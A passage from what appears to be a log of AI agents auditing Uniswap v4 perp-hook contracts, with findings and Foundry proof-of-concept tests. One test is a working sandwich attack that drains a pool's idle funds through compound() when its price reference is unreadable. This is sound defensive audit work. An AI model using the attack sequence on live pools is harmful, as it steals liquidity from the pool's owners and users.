ScratchCoin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// compound() pairs the pool's idle ETH and coin at the pool's spot price. Its guard (deviation from Pons <= 1%) reads\n/// 0 whenever the Pons reference is unreadable (IMD6900PerpHook._deviation returns 0 for ref == 0), so in that state an\n/// unprivileged caller can push the pool's price, compound the idle funds at it, and trade back for a profit taken from\n/// the pool.\ncontract CompoundUnreadablePonsTest is Test {\n    address constant OWNER = address(0xA11CE);\n    uint256 constant PRICE = 1e9; // coin per ETH, the true price\n\n    IPoolManager pm; IMD6900PerpHook hook; IMD6900PerpPool pool; ScratchCoin coin; ScratchCurve curve; ScratchTrader attacker;\n    PoolKey key;\n\n    function setUp() public {\n        pm = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(pm, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new ScratchCoin();\n        curve = new ScratchCurve(address(coin), address(new ScratchPonsFactory(address(coin))), 1 ether, 1e27);\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);\n        vm.stopPrank();\n        key = pool.poolKey();\n        // idle funds in the pool: its share of the coin's creator fees and released coin, waiting for compound\n        vm.deal(address(pool), 0.5 ether);\n        coin.mint(address(pool), 5e26);\n        attacker = new ScratchTrader(pm);\n        coin.mint(address(attacker), 2e27);\n    }\n\n    function _valueOf(address who) internal view returns (uint256) {\n        return who.balance + coin.balanceOf(who) / PRICE; // in ETH at the true price\n    }\n\n    function test_CompoundIsSandwichableWhileThePonsReferenceIsUnreadable() public {\n        // the reference goes dark without any owner action: the curve graduated and Pons has not created its pool yet\n        curve.graduate();\n        assertEq(hook.ponsPriceX96(), 0, \"no reference\");\n        assertEq(hook.deviationBps(), 0, \"and the guard reads that as 'on price'\");\n\n        uint256 poolBefore = _valueOf(address(pool)) + 4 ether; // idle + the position (2 ETH + 2e27 coin)\n        uint256 attackerBefore = _valueOf(address(attacker));\n\n        // 1. push the pool's price: sell 2e27 coin (the band is off, so nothing refuses it)\n        BalanceDelta d = attacker.swap(key, false, -2e27);\n        uint256 ethOut = uint256(uint128(d.amount0()));\n        // 2. compound the pool's idle funds at the pushed price (the fixed code refuses; this code pairs them)\n        try pool.compound(0, 0) {} catch {}\n        // 3. buy the coin back with the ETH from step 1\n        attacker.swap(key, true, -int256(ethOut));\n\n        uint256 attackerAfter = _valueOf(address(attacker));\n        emit log_named_decimal_uint(\"attacker value before (ETH)\", attackerBefore, 18);\n        emit log_named_decimal_uint(\"attacker value after  (ETH)\", attackerAfter, 18);\n        // a round trip through a 1% pool must cost the trader, never pay them: the pool's own funds are the source\n        assertLe(attackerAfter, attackerBefore, \"the round trip around compound paid the attacker from the pool's idle funds\");\n        // and the pool (idle + position, valued at the true price) must not have lost more than it earned in fees\n        uint128 liq = pool.liquidity();\n        vm.prank(OWNER);\n        pool.removeLiquidity(liq, address(pool), address(pool));\n        uint256 poolAfter = _valueOf(address(pool));\n        emit log_named_decimal_uint(\"pool value before (ETH)\", poolBefore, 18);\n        emit log_named_decimal_uint(\"pool value after  (ETH)\", poolAfter, 18);\n        assertGe(poolAfter, poolBefore, \"the pool lost value to the sandwich\");\n    }\n}","reproduction":"State: pool opened at 1e9 coin/ETH with 2 ETH + 2e27 coin; idle 0.5 ETH + 5e26 coin in the pool contract (its creator-fee share and released coin); the Pons curve graduated and the factory reports the launch in phase 1 (no graduated pool yet), so hook.ponsPriceX96() == 0 and hook.deviationBps() == 0. Attacker holds 2e27 coin (worth 2 ETH). Calls: (1) swap zeroForOne=false, amountSpecified=-2e27 (sell 2e27 coin; band off, so it passes and receives ~0.995 ETH; pool price now ~4e9 coin/ETH); (2) pool.compound(0,0) — expected: revert OffPons (no reference to judge the price against); actual: adds 5e26 coin + ~0.126 ETH of the pool's idle funds as liquidity at ~4e9; (3) swap zeroForOne=true with the ~0.995 ETH from step 1. Result on the current code: attacker's holdings valued at the true price go from 2.000 ETH to 2.0852 ETH (+0.085 ETH, 4.3% of the push, on a 2 ETH pool with 0.5 ETH idle), taken from the pool. Without the compound in between the same round trip loses the attacker 0.03 ETH in fees. Run: forge test --match-path test/scratch/CompoundUnreadablePons.t.sol -vv (fails now: 'the round trip around compound paid the attacker from the pool's idle funds: 2085198205585280970 > 2000000000000000000').","severity":"medium","snippet":"        uint256 dev = IBandView(hook).deviationBps();\n        if (dev > COMPOUND_MAX_DEV_BPS) revert OffPons(dev);","title":"compound() guard reads deviation 0 when the Pons reference is unreadable, so the idle funds can be sandwiched exactly when the band is off"},{"citation":"resolved","description":"The ea1c84c3 fix list says 'No zero fee address', and updateFeeAddress reverts ZeroAddress for address(0) (line 254), but the constructor stores feeAddress_ unchecked. flush() computes toFeeAddress = amount*3/100 and SafeTransferLib.safeTransferETH(address(0), toFeeAddress) succeeds, so 3% of any ETH that reaches the hook is sent to address(0) and lost. The requested launch passes the team wallet, so the shipped deployment is not affected; the defect is that the launch contract has no guard against the argument, and the asymmetry between the constructor and the setter is exactly what the earlier fix intended to close. Fix: `if (feeAddress_ == address(0)) revert ZeroAddress();` in the constructor (IMD6900PerpsLaunch passes it through, so the launch reverts instead of deploying a burning hook).","line":187,"path":"src/IMD6900PerpHook.sol","reproduction":"new IMD6900PerpsLaunch(poolManager, 10000, 0xA11CE, address(0)); vm.deal(hook, 1 ether); hook.flush(). Expected: the launch (or the flush) reverts ZeroAddress as updateFeeAddress(address(0)) does. Actual: address(0).balance rises by 0.03 ether and the pool receives 0.97 ether (scratch test test/scratch/ZeroFeeAddress.t.sol passes on the current code, demonstrating the burn).","severity":"low","snippet":"        feeAddress = feeAddress_;","title":"Hook constructor accepts a zero fee address although updateFeeAddress refuses it; flush() then burns the 3% share"}],"hash":"3ff82df3fa58d65023dabd1bda936188c26ec4b6029e4736a3cccbec3b1a1af8","nodeId":"408bfe9c-46aa-4b9d-acbd-78d413b692c2","outcome":"completed","summary":"The review is complete and the findings file is written. The working tree is unchanged apart from `.imd-findings.json` and the two scratch tests under `test/scratch/`.\n\n**Findings (2)**\n\n- **Medium, `src/IMD6900PerpPool.sol:213`.** The compound guard reads deviation 0 whenever the Pons reference is unreadable, because the hook's `_deviation` returns 0 for a zero reference. That is exactly the state in which the band is off, so an unprivileged caller can push the pool's price without limit, call `compound(0,0)` to pair the pool's idle ETH and coin at the pushed price, and trade back. In the proof the attacker's round trip ends 0.085 ETH ahead on a 2 ETH pool with 0.5 ETH idle, where the same round trip without compound loses 0.03 ETH in fees. The reference goes dark without owner action when the curve has graduated and Pons has not yet created its pool (the hook's own phase-1 branch); whether that window exists on the live chain could not be confirmed offline. The proof test fails on the current code and passes with a one-line refusal when the reference is zero, which keeps the design since the owner already has `sweepIdle` for that case.\n- **Low, `src/IMD6900PerpHook.sol:187`.** The constructor accepts a zero fee address although `updateFeeAddress` refuses one, and `flush` then burns 3% to address(0). The shipped launch passes the team wallet, so this is a guard gap rather than a live loss.\n\n**What held.** All 41 entry points have coverage rows. The addition and removal accounting in `unlockCallback` nets v4's accrued fees correctly in every branch. The owner's full withdrawal cannot be blocked by hook state. The band's same-side and crossing rules, the fail-closed sweep, and the fee-exempt and engine paths behave as the ea1c84c3 fixes describe. The hook-to-pool-to-launcher fee forwarding cannot recurse: I fetched the Pons launcher's source, and it takes `addFees` as an event-only payable and pays its payees with plain empty-calldata calls. Moving the Pons reference to defeat the 1% compound guard costs the 6.9% Pons tax, well above any gain, so the earlier fix holds while the reference is readable.\n\n**Not reached.** Whether the ratio of the Pons curve's reserves is its marginal price could not be checked without the curve's code or a fork. If it is not, the pool opens off-market and the first arbitrage takes the gap, bounded by the pool's depth.","treeHash":null,"usage":{"cachedInputTokens":1760636,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":46552,"runtime":"claude","turns":29,"wallClockMs":707734}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f9a12c57a094ca8d","findings":[{"citation":"resolved","description":"Asymmetry between two of the ea1c84c3 fixes. The band fix made an unreadable Pons reference fail open on purpose (IMD6900PerpHook._deviation, src/IMD6900PerpHook.sol:341 `if (ref == 0) return 0;`, and ponsPriceX96() returns 0 when the curve read reverts, when the curve has graduated but the factory reports phase != 2 (Pons pool not created yet), when the graduated pool's slot0 is 0, or when the reserves are 0). That is a deliberate choice for swaps: a trade must never be halted by a reference that cannot be read. compound() reuses the same number as its sandwich guard, so in every one of those states deviationBps() reads 0 (<= COMPOUND_MAX_DEV_BPS = 100) and compound() pairs the pool's idle ETH and coin at whatever spot price the caller has just pushed the pool to, which is exactly what the guard was added to prevent. The sentinel value 0 ('no reference') is indistinguishable from the in-band value 0 ('exactly on Pons'). Unlike a swap, compound() has no urgency: refusing it while there is no reference costs nothing (the owner can still sweepIdle). The band being off also means the attacker's push itself is unrestricted (the 30% band is off in the same states), so the manipulation is not bounded either. Trust-gap seam: an unprivileged actor profits from the pool-owned idle funds through an admin/Pons-state-dependent sentinel path. Fix: in compound(), read hook.ponsPriceX96() and revert (e.g. OffPons(type(uint256).max) or a NoReference error) when it is 0; or have deviationBps() return OFF_SCALE when ref == 0 and keep the swap path's fail-open decision inside _checkBand only.","line":213,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook, PonsLaunchedToken} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// A Pons factory whose launch has graduated but whose Uniswap pool is not created yet (phase 1, not 2)\ncontract GraduatingFactory {\n    address public memeHook;\n    PonsLaunchedToken l;\n    constructor(address token, address curve) {\n        l.token = token; l.curve = curve; l.exists = true; l.phase = 1; l.poolFee = 10_000; l.tickSpacing = 60;\n    }\n    function getLaunchedToken(address) external view returns (PonsLaunchedToken memory) { return l; }\n}\n\n/// The coin's Pons curve the moment it graduates: reserves are frozen, the pool is not there yet\ncontract GraduatedCurve {\n    address public token; address public factory; uint256 q; uint256 t;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; factory = address(new GraduatingFactory(token_, address(this))); }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return true; }\n    function pairToken() external pure returns (address) { return address(0); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm; PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external payable returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// compound() reads hook.deviationBps(), which is 0 both when the pool sits on the Pons price and when there is no\n/// Pons price to read. The second case lets anyone pair the pool's idle funds at a price they just pushed, which is\n/// exactly what COMPOUND_MAX_DEV_BPS was added to stop.\ncontract CompoundNoReferenceTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Trader attacker; PoolKey key;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        // the coin's Pons market, at 1e9 coin per ETH, graduated and between the curve and the Pons pool (phase 1)\n        GraduatedCurve curve = new GraduatedCurve(address(coin), 1 ether, 1e27);\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);\n        vm.stopPrank();\n        key = pool.poolKey();\n        // the pool's idle funds: its fee-split share and coin released to it, waiting for compound\n        vm.deal(address(pool), 0.5 ether);\n        coin.mint(address(pool), 5e26);\n        attacker = new Trader(PM);\n        vm.deal(address(attacker), 10 ether);\n    }\n\n    function test_CompoundRefusesToPairIdleFundsWithoutAPonsReference() public {\n        assertEq(hook.ponsPriceX96(), 0, \"no reference: graduated, pool not created yet\");\n        uint256 p0 = hook.poolPriceX96();\n        // the band is off, so a 1 ETH buy into 2 ETH of depth goes through and leaves the pool far from where it was\n        attacker.swap(key, true, -1 ether);\n        uint256 p1 = hook.poolPriceX96();\n        assertLt(p1 * 10_000 / p0, 6_000, \"the pool price moved more than 40%\");\n        assertEq(hook.deviationBps(), 0, \"yet the hook reports the pool exactly on the Pons price\");\n        // the pool's idle ETH and coin must not be paired into the position at that pushed price: with no reference\n        // to judge the price against, compound must refuse (any revert), as it does when the deviation is known\n        uint128 liq0 = pool.liquidity();\n        vm.expectRevert();\n        pool.compound(0, 0);\n        assertEq(pool.liquidity(), liq0, \"nothing was compounded\");\n    }\n}","reproduction":"State: pool opened at 1e9 coin/ETH with 2 ETH + 2e27 coin (as in test/AuditFixes.t.sol); the pool holds idle 0.5 ETH and 5e26 coin (its fee-split share and released coin, waiting for compound); the Pons curve reports graduated()=true and its factory reports the launch with phase=1 (graduated, Pons pool not yet created), so hook.ponsPriceX96()==0 and hook.deviationBps()==0. Calls, all from one unprivileged contract: (1) swap buy 1 ETH exact-in on the pool: allowed because the band is off; the pool price moves >40% from where it was (poolPriceX96 falls from ~1e9*2^96 to under 0.6 of that); hook.deviationBps() still reads 0. (2) pool.compound(0,0): expected revert OffPons (the price is far from the last known reference); actual: succeeds and adds 0.49 ETH + 2.24e26 coin of the pool's idle funds to the position at the pushed price. (3) sell all coin back. Measured with test/scratch/CompoundSandwichMeasure.t.sol on a vendored v4 PoolManager: without step (2) the round trip costs the attacker 0.01664 ETH (two 1% fees + slippage); with step (2) it nets +0.03198 ETH, a 0.04862 ETH gain paid by the pool's idle funds (pool idle ETH 0.5 -> 0.01, coin 5e26 -> 2.76e26, the rest now sits in the position at a worse mix). Same result with a curve whose read reverts (BrokenCurve from test/AuditFixes.t.sol), i.e. after an owner setCurve mistake or a Pons curve upgrade.","severity":"medium","snippet":"        uint256 dev = IBandView(hook).deviationBps();\n        if (dev > COMPOUND_MAX_DEV_BPS) revert OffPons(dev);","title":"compound() loses its 1% Pons guard whenever the Pons reference is unreadable: deviationBps() returns 0 for 'no reference' as well as 'on price', so anyone can sandwich the pool's idle funds at a pushe"},{"citation":"resolved","description":"Two writers of feeAddress with different validation: updateFeeAddress reverts ZeroAddress on address(0) (src/IMD6900PerpHook.sol:254) but the constructor stores whatever the launch passes. With feeAddress == address(0) and feeAddressRenounced == false, flush() computes toFeeAddress = 3% and SafeTransferLib.safeTransferETH(address(0), ...) succeeds, so 3% of every flush is burned until the owner notices and calls updateFeeAddress or renounceFeeAddress. The stated launch arguments pass 0x35da9c03...a059 as the fee address, so this launch is not affected; it is a guard the manifest step and any re-launch rely on. Fix: `if (feeAddress_ == address(0)) revert ZeroAddress();` in the constructor (or treat a zero fee address as renounced: feeAddress = launcher_).","line":187,"path":"src/IMD6900PerpHook.sol","reproduction":"new IMD6900PerpsLaunch(PM, 10000, OWNER, address(0)); vm.deal(address(hook), 1 ether); hook.flush(). Expected: the constructor reverts (as updateFeeAddress(address(0)) does), or the whole amount goes to the pool. Actual: address(0).balance grows by 0.03 ether and the pool receives 0.97 ether (test/scratch/AdminAsymmetry.t.sol test_ZeroFeeAddressAtConstructionBurnsTheShare, passes on current code, demonstrating the burn).","severity":"low","snippet":"        feeAddress = feeAddress_;","title":"Hook constructor accepts a zero fee address although updateFeeAddress refuses one; flush() then burns the 3% share to address(0)"},{"citation":"resolved","description":"The ea1c84c3 fix added `if (ethTo == address(0) || tokensTo == address(0)) revert ZeroAddress();` to sweepIdle (src/IMD6900PerpPool.sol:157) but not to removeLiquidity, the function that moves the whole position (the 'liquidity always comes back' path the README relies on). safeTransferETH(address(0), eth) succeeds and burns the ETH half of the position; the token half goes through or reverts depending on the coin's transfer-to-zero behaviour. Owner-only, so no unprivileged trigger; reported as an admin footgun on the migration path, the same shape the earlier audit fixed on sweepIdle. Fix: the same ZeroAddress check at the top of removeLiquidity.","line":144,"path":"src/IMD6900PerpPool.sol","reproduction":"Owner: pool.removeLiquidity(pool.liquidity(), address(0), OWNER) on a pool opened with 2 ETH. Expected: revert ZeroAddress, as sweepIdle(address(0), OWNER) does. Actual: succeeds; address(0).balance grows by ~1.9999 ether (the position's ETH) and it is unrecoverable (test/scratch/AdminAsymmetry.t.sol test_RemoveLiquidityToZeroBurnsTheEth).","severity":"low","snippet":"        SafeTransferLib.safeTransferETH(ethTo, eth);","title":"removeLiquidity has no zero-address check on ethTo/tokensTo although sweepIdle (same owner, same assets) has one: the pool's ETH can be burned by one mistyped argument"}],"hash":"44c53f6a76a15b51d8ba578d3fc34c84f2fabd48cfb24469fd7ba9e4e32ccf18","nodeId":"553b9a00-7654-4098-a66a-572eb4adf4a2","outcome":"completed","summary":"Review complete. The findings are in `.imd-findings.json` at the repository root, with one proof test under `test/scratch/`. No repository file was changed.\n\n**Outcome.** The permission model holds: every callback is pool-manager-only and bound to the one pool, only the pool may initialize or hold liquidity, ownership cannot be renounced, the launch holds pool ownership only inside its constructor, and the owner's full withdrawal passes through no hook, engine or Pons state. All 34 offline tests pass and the launch's init code and runtimes sit inside the admission probe's limits. Three defects survived verification.\n\n- **Medium, compound loses its sandwich guard without a Pons reference.** Two earlier fixes conflict. The band fix makes an unreadable reference read as deviation zero so swaps stay open. The compound fix reuses that same number as its 1% guard, so whenever the reference is unreadable (curve graduated but Pons pool not yet created, a reverting curve read, a wrong `setCurve`), anyone can push the pool price without limit and then compound the pool's idle funds at that price. Measured on the vendored PoolManager: a 1 ETH push plus compound turns the attacker's round trip from a 0.0166 ETH loss into a 0.032 ETH profit, paid from 0.5 ETH and 5e26 coin of idle funds. The proof test fails on the current code and passes with any revert in compound when the reference is zero.\n- **Low, constructor accepts a zero fee address** while `updateFeeAddress` refuses one, so flush would burn 3%. Not triggered by this launch's arguments.\n- **Low, removeLiquidity does not check its recipients** although the audited sweepIdle fix does. An owner typo of address zero burns the position's ETH.\n\n**Coverage.** All 40 listed entry points have a row (37 hold, 3 carry a finding), plus rows for the launch constructor and the withdrawal invariant. One item I could not verify offline is whether the Pons launcher the owner wires as fee sink implements `addFees()`; if it does not, `flush()` reverts until the owner repoints the sink, which is recoverable and noted in the flush row.","treeHash":null,"usage":{"cachedInputTokens":1331795,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":45733,"runtime":"claude","turns":26,"wallClockMs":695994}},{"artifacts":[],"attempt":1,"bundleHash":"a25ded6cc71e646cf72d41609e5f4cf15d315e3db4844af687253ae835dea4a8","device":"1cb8150a876a5ca3","findings":[],"hash":"4a9d36c4fb158284d90eaa5bf60e663134bbb61f0740e73c09d3dacb03b292a7","nodeId":"d423d506-2ba1-4835-aefe-ef668595616d","outcome":"completed","summary":"Implemented all three reproduced audit fixes: accurate fee getters, owner-only idle-balance recovery, and real deployment gas testing. Constructor arguments, hook permissions, and fee handling remain intact.\n\n`forge build` passed. Tests: **34 passed**, **1 skipped** because `ROBINHOOD_RPC_URL` was unset. Measured launch gas: **9.78M**.\n\nChanges and audit dispositions are documented in [ADAPTATION.md](/home/imd/.identitymd/work/d07ab5c6-6017-4980-b5ae-248130f047cc/d423d506-2ba1-4835-aefe-ef668595616d/ADAPTATION.md).","treeHash":"77734f9f449301b29f6f5a41bb312af42fe9c068","usage":{"cachedInputTokens":1961216,"inputTokens":125138,"model":"gpt-6-astra","outputTokens":25821,"runtime":"codex","turns":7,"wallClockMs":685765}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"559cfaaab2c0d013","findings":[{"citation":"resolved","description":"The hook no longer charges anything itself: the pool's static fee (poolFeePips, 10000 pips = 1% = 100 bps) is the only fee. The NatSpec says feeBps and perpFeeBps 'remain only as what the engine reads to model its solvency, and must be kept equal to the pool's real fee'. feeBps is initialised to 1_000 bps (10%), ten times the real fee, and feeFor(sender) returns 1000 for every ordinary caller and 0 for feeExempt callers, who in fact also pay the pool's 1% (there are no per-caller exemptions in a static-fee pool). lowerFee() can only lower, so the owner must call lowerFee(100) after every launch to make the model true; nothing enforces it and the constructor has poolFeePips in hand. A perps engine that reads feeFor()/feeBps to model slippage or solvency models a 10% fee (or 0% for exempt callers) against a 1% market.","line":111,"path":"src/IMD6900PerpHook.sol","reproduction":"Deploy IMD6900PerpsLaunch(PM, 10000, owner, fee) exactly as the job does. Then hook.feeBps() == 1000, hook.perpFeeBps() == 100, hook.poolFeePips() == 10000 and hook.feeFor(0xBEEF) == 1000. Expected: feeBps * 100 == poolFeePips (100 bps). Actual: 100000 != 10000. A scratch test asserting assertEq(hook.feeBps() * 100, hook.poolFeePips()) fails with '100000 != 10000'. Also hook.setFeeExempt(x, true) makes feeFor(x) == 0 while a swap by x through the PoolManager still pays 1% to the position. Fix: initialise feeBps from poolFeePips_ / 100 in the constructor (and perpFeeBps the same, or document that it differs), or drop the two model values.","severity":"low","snippet":"    uint256 public feeBps = 1_000;","title":"feeBps (10%) does not match the pool's real 1% fee; feeFor() misreports what callers pay"},{"citation":"resolved","description":"With the Foundry in use (forge 1.8.3), `new IMD6900PerpsLaunch(...)` inside a test contract is compiled into a VM::deployCode cheatcode (visible in the -vvvv trace), so gasleft() before and after measures the cheatcode, not the EVM creation. The test logs 'launch gas (the mining included): 3760' and passes trivially; it would pass even if the mining loop needed 100M gas. The README's 'fits one transaction' claim (5.9M mean, 10.5M worst) therefore has no live check in the suite. Measured with a raw CREATE of vm.getCode bytes from a helper contract (12 and 48 deployer addresses): mean 5.8-6.3M gas, worst 11.6M (61,128 tries), none over 2^24, so the claim itself holds today, but the test cannot catch a regression (for instance a larger hook, or MAX_TRIES raised) nor a deployer address in the ~0.3% tail (e^(-95000/16384)) that needs more than ~95k tries.","line":35,"path":"test/IMD6900PerpsLaunch.t.sol","reproduction":"Run `forge test --match-test test_FitsOneTransaction -vvvv`. Expected: a creation trace of several million gas and a logged value in that range. Actual: the trace shows `VM::deployCode(\"src/IMD6900PerpsLaunch.sol:IMD6900PerpsLaunch\", ...)` and the log reads 3760; the whole test reports 6932 gas. Fix: deploy from init code with assembly create (bytes init = abi.encodePacked(vm.getCode(\"src/IMD6900PerpsLaunch.sol:IMD6900PerpsLaunch\"), abi.encode(PM, uint24(10_000), OWNER, FEE)); assembly { a := create(0, add(init, 0x20), mload(init)) }) inside a non-test helper contract and measure around that; that measurement gives 3.8M-11.6M gas.","severity":"low","snippet":"        new IMD6900PerpsLaunch(PM, 10_000, OWNER, FEE);","title":"test_FitsOneTransaction measures the deployCode cheatcode, not the launch: the one-transaction guard is dead"},{"citation":"resolved","description":"IMD6900PerpPool holds funds outside the position: ETH from the Pons creator-fee split (the owner's wire() makes the pool a 10% payee, received through receive()), ETH kept by addFees() while feeSink is zero, fees the position earned (left in the contract on every addLiquidity, by design), and coin the owner releases to it (the fork test releases 1,000,000 coins to the pool). The only function that moves them is compound(), which (a) needs both assets, (b) needs the pool within 1% of the Pons price, and (c) re-adds them as liquidity in this pool, from which only removeLiquidity can take them out. removeLiquidity moves only position liquidity. The README's upgrade path is 'take the liquidity out, open the new pool with it': after removeLiquidity(all) the old pool's price is frozen, the Pons split keeps paying the old pool until setPayees is redone, and the old contract has no rescue/sweep. Recovery is possible only by the roundabout route of moving the empty pool's price to Pons (a zero-liquidity swap), sending coin in, compounding, then removing again. Not a loss to third parties (the owner controls every input), so low; but the guarantee the brief asks to keep ('the owner can always take all of the pool's liquidity back') does not extend to the pool's idle balances.","line":193,"path":"src/IMD6900PerpPool.sol","reproduction":"Against a real PoolManager (as test/AuditFixes.t.sol sets up): owner opens the pool with 2 ETH / 2e27 coin at the Pons price; owner calls removeLiquidity(pool.liquidity(), owner, owner) so liquidity() == 0; 1 ETH arrives at the pool (vm.deal or the fee split). pending() returns (1e18, 0). compound(0,0) reverts ZeroLiquidity (no coin to pair). Mint 1e27 coin to the pool and move the curve 2% (curve.set(1 ether, 0.98e27)): compound(0,0) reverts OffPons(deviation). removeLiquidity(1, owner, owner) reverts (position is empty). address(pool).balance stays 1e18 with no function able to send it anywhere. Verified in a scratch test (test_idleAfterMigration). Fix: an onlyOwner sweep of idle ETH/coin (or let removeLiquidity also pay out the contract's idle balances when the position is empty).","severity":"low","snippet":"    function compound(uint256 minEth, uint256 minTokens) external nonReentrant returns (uint128 liq) {","title":"Idle ETH and coin held by IMD6900PerpPool have no withdrawal path; after the documented migration they can be stranded"},{"citation":"resolved","description":"ponsPriceUnchecked() returns tokenReserve/quoteReserve of the Pons bonding curve before graduation and sqrtPrice^2 of Pons' own v4 pool after it. Both are current-block spot values anyone with capital can move inside the transaction that then trades this pool, and the band allows any trade that moves the pool closer to the (moved) reference, including past 30%. The band is therefore a guard against cheap pushes, not against a funded manipulator; the README says so ('wide on purpose while the pool is thin'). Nothing in this launch loses money through it (the position is protocol-owned and the hook charges nothing), but the perps engine the owner wires later will read this pool as its mark, and the trust assumption should be stated when that engine is reviewed. Documented here as a trust assumption, not as a defect to fix in this launch.","line":294,"path":"src/IMD6900PerpHook.sol","reproduction":"Same setup as test/AuditFixes.t.sol (pool opened at 1e9 coin/ETH against MovableCurve). trader.swap(key, true, -1 ether) reverts TooFarFromPons. Now curve.set(2 ether, 1e27) (Pons at 0.5e9 coin/ETH, the pool 100% above it) and trader.swap(key, true, -0.5 ether) is accepted even though the pool ends far outside the 30% band relative to its own prior price, because it moved 'closer' to the moved reference. On the live chain the equivalent of curve.set is a buy on the Pons curve (test/RobinhoodFlow.fork.t.sol does exactly that with IPonsCurve.buy{value: 1.5 ether} and then trades past the band).","severity":"info","snippet":"            (uint256 q, uint256 t) = IPonsCurveView(c).getReserves();","title":"The band's reference price is a spot read (curve reserves, then Pons' pool slot0) that can be moved in the same transaction"},{"citation":"resolved","description":"The launch rules forbid 'anything configured after deployment rather than in a constructor'. This launch does configure after deployment, by the requester's explicit design (the brief: the pool is opened after the coin launches on Pons, and the engine is wired later with setPerpEngine): IMD6900PerpPool.open (token, curve, price, once), setCurve, setFeeSink, setPerpEngine on both contracts, and the hook's setBand/setSweepFailOpen/setFeeExempt/lowerFee/setPerpFeeBps/updateFeeAddress. setHook is called inside the launch constructor and then locked (HookAlreadySet). None of these can mint, freeze, blacklist or seize a holder's balance, and none can stop removeLiquidity (verified: the hook's beforeRemoveLiquidity checks only sender == launcher and full range; the pool's engine check is the owner's own switch). One power is pause-like and should be known: hook.setPerpEngine(x) with x any contract whose sweepLiquidations reverts makes every non-engine, non-exempt swap revert SweepUnavailable (fail closed) until the owner sets sweepFailOpen or a working engine; test/RobinhoodFlow.fork.t.sol demonstrates it with BrokenEngine. The adapter should not remove these setters to satisfy the generic rule: the brief depends on them. Listed so the reviewer of the adapted code sees the decision was deliberate.","line":220,"path":"src/IMD6900PerpHook.sol","reproduction":"State after launch: hook.perpEngine() == 0, pool trades. Owner calls hook.setPerpEngine(address(new DeadEngine())) (DeadEngine: fallback reverts). Any trader.swap(key, true, -0.01 ether) now reverts (SweepUnavailable wrapped by the PoolManager), at any gas, as test/AuditFixes.t.sol test_Fix_LowGasSweepFailsClosed shows; the owner alone can lift it with setSweepFailOpen(true) or setPerpEngine(0). Liquidity removal by the owner keeps working throughout.","severity":"info","snippet":"    function setPerpEngine(address engine) external onlyOwner {","title":"Owner powers to state as trust assumptions: post-launch configuration (open, setPerpEngine, setCurve, setFeeSink) and the ability to halt all non-engine trading"},{"citation":"resolved","description":"_mine tries salts until the CREATE2 